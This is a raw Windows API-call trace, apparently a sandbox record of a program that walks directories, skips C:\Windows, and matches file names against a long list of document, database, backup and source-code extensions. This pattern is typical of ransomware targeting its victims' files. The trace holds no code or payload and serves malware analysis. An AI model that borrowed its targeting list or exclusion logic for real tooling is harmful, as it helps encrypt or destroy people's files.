	[0088.068] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".doc") returned 4
	[0088.068] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".docm") returned 5
	[0088.068] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0088.068] lstrlenW (lpString=".docx") returned 5
	[0088.068] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0088.068] lstrlenW (lpString=".dot") returned 4
	[0088.068] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".dotm") returned 5
	[0088.068] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0088.068] lstrlenW (lpString=".dotx") returned 5
	[0088.068] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0088.068] lstrlenW (lpString=".dpx") returned 4
	[0088.068] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".dqy") returned 4
	[0088.068] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".dsn") returned 4
	[0088.068] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".dt") returned 3
	[0088.069] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0088.069] lstrlenW (lpString=".dtd") returned 4
	[0088.069] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".dwg") returned 4
	[0088.069] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".dwt") returned 4
	[0088.069] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".dx") returned 3
	[0088.069] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0088.069] lstrlenW (lpString=".dxf") returned 4
	[0088.069] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".edml") returned 5
	[0088.069] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0088.069] lstrlenW (lpString=".efd") returned 4
	[0088.069] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".elf") returned 4
	[0088.069] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".emf") returned 4
	[0088.069] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".emz") returned 4
	[0088.069] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".epf") returned 4
	[0088.069] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".eps") returned 4
	[0088.069] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0088.069] lstrlenW (lpString=".epsf") returned 5
	[0088.069] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0088.069] lstrlenW (lpString=".epsp") returned 5
	[0088.070] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0088.070] lstrlenW (lpString=".erf") returned 4
	[0088.070] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".exr") returned 4
	[0088.070] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".f4v") returned 4
	[0088.070] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".fido") returned 5
	[0088.070] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0088.070] lstrlenW (lpString=".flm") returned 4
	[0088.070] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".flv") returned 4
	[0088.070] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".frm") returned 4
	[0088.070] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".fxg") returned 4
	[0088.070] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".geo") returned 4
	[0088.070] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".gif") returned 4
	[0088.070] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".grs") returned 4
	[0088.070] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".gz") returned 3
	[0088.070] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0088.070] lstrlenW (lpString=".h") returned 2
	[0088.070] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0088.070] lstrlenW (lpString=".hdr") returned 4
	[0088.070] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0088.070] lstrlenW (lpString=".hpp") returned 4
	[0088.071] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".hta") returned 4
	[0088.071] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".htc") returned 4
	[0088.071] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".htm") returned 4
	[0088.071] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".html") returned 5
	[0088.071] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0088.071] lstrlenW (lpString=".icb") returned 4
	[0088.071] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".ics") returned 4
	[0088.071] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".iff") returned 4
	[0088.071] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".inc") returned 4
	[0088.071] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0088.071] lstrlenW (lpString=".indd") returned 5
	[0088.071] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0088.071] lstrlenW (lpString=".ini") returned 4
	[0088.071] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0088.071] FindNextFileW (in: hFindFile=0x593930, lpFindFileData=0x3a4f808 | out: lpFindFileData=0x3a4f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0088.071] FindClose (in: hFindFile=0x593930 | out: hFindFile=0x593930) returned 1
	[0088.071] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36a1088 | out: hHeap=0x4a0000) returned 1
	[0088.072] FindNextFileW (in: hFindFile=0x35d05b0, lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0088.072] FindClose (in: hFindFile=0x35d05b0 | out: hFindFile=0x35d05b0) returned 1
	[0088.072] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3691080 | out: hHeap=0x4a0000) returned 1
	[0088.072] FindNextFileW (in: hFindFile=0x35d0570, lpFindFileData=0x3a4fd00 | out: lpFindFileData=0x3a4fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0088.072] lstrlenW (lpString="C:\\Boot") returned 7
	[0088.072] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1
	[0088.072] lstrlenW (lpString="Boot") returned 4
	[0088.072] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1
	[0088.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3691080
	[0088.072] lstrlenW (lpString="C:\\Boot") returned 7
	[0088.072] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d05b0
	[0088.072] FindNextFileW (in: hFindFile=0x35d05b0, lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.072] FindNextFileW (in: hFindFile=0x35d05b0, lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0088.072] lstrlenW (lpString="BCD") returned 3
	[0088.072] lstrlenW (lpString=".1cd") returned 4
	[0088.072] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".3ds") returned 4
	[0088.073] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".3fr") returned 4
	[0088.073] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".3g2") returned 4
	[0088.073] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".3gp") returned 4
	[0088.073] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".7z") returned 3
	[0088.073] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0088.073] lstrlenW (lpString=".accda") returned 6
	[0088.073] lstrcmpiW (lpString1=".accda", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".accdb") returned 6
	[0088.073] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".accdc") returned 6
	[0088.073] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".accde") returned 6
	[0088.073] lstrcmpiW (lpString1=".accde", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".accdt") returned 6
	[0088.073] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".accdw") returned 6
	[0088.073] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1
	[0088.073] lstrlenW (lpString=".adb") returned 4
	[0088.073] lstrcmpiW (lpString1=".adb", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".adp") returned 4
	[0088.074] lstrcmpiW (lpString1=".adp", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ai") returned 3
	[0088.074] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1
	[0088.074] lstrlenW (lpString=".ai3") returned 4
	[0088.074] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ai4") returned 4
	[0088.074] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ai5") returned 4
	[0088.074] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ai6") returned 4
	[0088.074] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ai7") returned 4
	[0088.074] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ai8") returned 4
	[0088.074] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".anim") returned 5
	[0088.074] lstrcmpiW (lpString1=".anim", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".arw") returned 4
	[0088.074] lstrcmpiW (lpString1=".arw", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".as") returned 3
	[0088.074] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1
	[0088.074] lstrlenW (lpString=".asa") returned 4
	[0088.074] lstrcmpiW (lpString1=".asa", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".asc") returned 4
	[0088.074] lstrcmpiW (lpString1=".asc", lpString2="") returned 1
	[0088.074] lstrlenW (lpString=".ascx") returned 5
	[0088.075] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".asm") returned 4
	[0088.075] lstrcmpiW (lpString1=".asm", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".asmx") returned 5
	[0088.075] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".asp") returned 4
	[0088.075] lstrcmpiW (lpString1=".asp", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".aspx") returned 5
	[0088.075] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".asr") returned 4
	[0088.075] lstrcmpiW (lpString1=".asr", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".asx") returned 4
	[0088.075] lstrcmpiW (lpString1=".asx", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".avi") returned 4
	[0088.075] lstrcmpiW (lpString1=".avi", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".avs") returned 4
	[0088.075] lstrcmpiW (lpString1=".avs", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".backup") returned 7
	[0088.075] lstrcmpiW (lpString1=".backup", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".bak") returned 4
	[0088.075] lstrcmpiW (lpString1=".bak", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".bay") returned 4
	[0088.075] lstrcmpiW (lpString1=".bay", lpString2="") returned 1
	[0088.075] lstrlenW (lpString=".bd") returned 3
	[0088.075] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1
	[0088.075] lstrlenW (lpString=".bin") returned 4
	[0088.075] lstrcmpiW (lpString1=".bin", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".bmp") returned 4
	[0088.076] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".bz2") returned 4
	[0088.076] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".c") returned 2
	[0088.076] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1
	[0088.076] lstrlenW (lpString=".cdr") returned 4
	[0088.076] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".cer") returned 4
	[0088.076] lstrcmpiW (lpString1=".cer", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".cf") returned 3
	[0088.076] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1
	[0088.076] lstrlenW (lpString=".cfc") returned 4
	[0088.076] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".cfm") returned 4
	[0088.076] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".cfml") returned 5
	[0088.076] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".cfu") returned 4
	[0088.076] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".chm") returned 4
	[0088.076] lstrcmpiW (lpString1=".chm", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".cin") returned 4
	[0088.076] lstrcmpiW (lpString1=".cin", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".class") returned 6
	[0088.076] lstrcmpiW (lpString1=".class", lpString2="") returned 1
	[0088.076] lstrlenW (lpString=".clx") returned 4
	[0088.076] lstrcmpiW (lpString1=".clx", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".config") returned 7
	[0088.077] lstrcmpiW (lpString1=".config", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".cpp") returned 4
	[0088.077] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".cr2") returned 4
	[0088.077] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".crt") returned 4
	[0088.077] lstrcmpiW (lpString1=".crt", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".crw") returned 4
	[0088.077] lstrcmpiW (lpString1=".crw", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".cs") returned 3
	[0088.077] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1
	[0088.077] lstrlenW (lpString=".css") returned 4
	[0088.077] lstrcmpiW (lpString1=".css", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".csv") returned 4
	[0088.077] lstrcmpiW (lpString1=".csv", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".cub") returned 4
	[0088.077] lstrcmpiW (lpString1=".cub", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".dae") returned 4
	[0088.077] lstrcmpiW (lpString1=".dae", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".dat") returned 4
	[0088.077] lstrcmpiW (lpString1=".dat", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".db") returned 3
	[0088.077] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1
	[0088.077] lstrlenW (lpString=".dbf") returned 4
	[0088.077] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1
	[0088.077] lstrlenW (lpString=".dbx") returned 4
	[0088.077] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".dc3") returned 4
	[0088.078] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".dcm") returned 4
	[0088.078] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".dcr") returned 4
	[0088.078] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".der") returned 4
	[0088.078] lstrcmpiW (lpString1=".der", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".dib") returned 4
	[0088.078] lstrcmpiW (lpString1=".dib", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".dic") returned 4
	[0088.078] lstrcmpiW (lpString1=".dic", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".dif") returned 4
	[0088.078] lstrcmpiW (lpString1=".dif", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".divx") returned 5
	[0088.078] lstrcmpiW (lpString1=".divx", lpString2="") returned 1
	[0088.078] lstrlenW (lpString=".djvu") returned 5
	[0088.078] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dng") returned 4
	[0088.079] lstrcmpiW (lpString1=".dng", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".doc") returned 4
	[0088.079] lstrcmpiW (lpString1=".doc", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".docm") returned 5
	[0088.079] lstrcmpiW (lpString1=".docm", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".docx") returned 5
	[0088.079] lstrcmpiW (lpString1=".docx", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dot") returned 4
	[0088.079] lstrcmpiW (lpString1=".dot", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dotm") returned 5
	[0088.079] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dotx") returned 5
	[0088.079] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dpx") returned 4
	[0088.079] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dqy") returned 4
	[0088.079] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dsn") returned 4
	[0088.079] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dt") returned 3
	[0088.079] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1
	[0088.079] lstrlenW (lpString=".dtd") returned 4
	[0088.079] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dwg") returned 4
	[0088.079] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1
	[0088.079] lstrlenW (lpString=".dwt") returned 4
	[0088.080] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".dx") returned 3
	[0088.080] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1
	[0088.080] lstrlenW (lpString=".dxf") returned 4
	[0088.080] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".edml") returned 5
	[0088.080] lstrcmpiW (lpString1=".edml", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".efd") returned 4
	[0088.080] lstrcmpiW (lpString1=".efd", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".elf") returned 4
	[0088.080] lstrcmpiW (lpString1=".elf", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".emf") returned 4
	[0088.080] lstrcmpiW (lpString1=".emf", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".emz") returned 4
	[0088.080] lstrcmpiW (lpString1=".emz", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".epf") returned 4
	[0088.080] lstrcmpiW (lpString1=".epf", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".eps") returned 4
	[0088.080] lstrcmpiW (lpString1=".eps", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".epsf") returned 5
	[0088.080] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".epsp") returned 5
	[0088.080] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".erf") returned 4
	[0088.080] lstrcmpiW (lpString1=".erf", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".exr") returned 4
	[0088.080] lstrcmpiW (lpString1=".exr", lpString2="") returned 1
	[0088.080] lstrlenW (lpString=".f4v") returned 4
	[0088.081] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1
	[0088.081] lstrlenW (lpString=".fido") returned 5
	[0088.081] lstrcmpiW (lpString1=".fido", lpString2="") returned 1
	[0088.081] lstrlenW (lpString=".flm") returned 4
	[0088.081] lstrcmpiW (lpString1=".flm", lpString2="") returned 1
	[0088.081] lstrlenW (lpString=".flv") returned 4
	[0088.081] lstrcmpiW (lpString1=".flv", lpString2="") returned 1
	[0088.081] lstrlenW (lpString=".frm") returned 4
	[0088.081] lstrcmpiW (lpString1=".frm", lpString2="") returned 1
	[0088.081] lstrlenW (lpString=".fxg") returned 4
	[0088.081] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1
	[0088.085] FindNextFileW (in: hFindFile=0x594938, lpFindFileData=0x3a4f808 | out: lpFindFileData=0x3a4f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.085] FindNextFileW (in: hFindFile=0x594938, lpFindFileData=0x3a4f808 | out: lpFindFileData=0x3a4f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0089.607] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0089.607] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0089.607] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0089.608] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0089.608] FindClose (in: hFindFile=0x35d03c8 | out: hFindFile=0x35d03c8) returned 1
	[0089.608] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3eb06d0 | out: hHeap=0x4a0000) returned 1
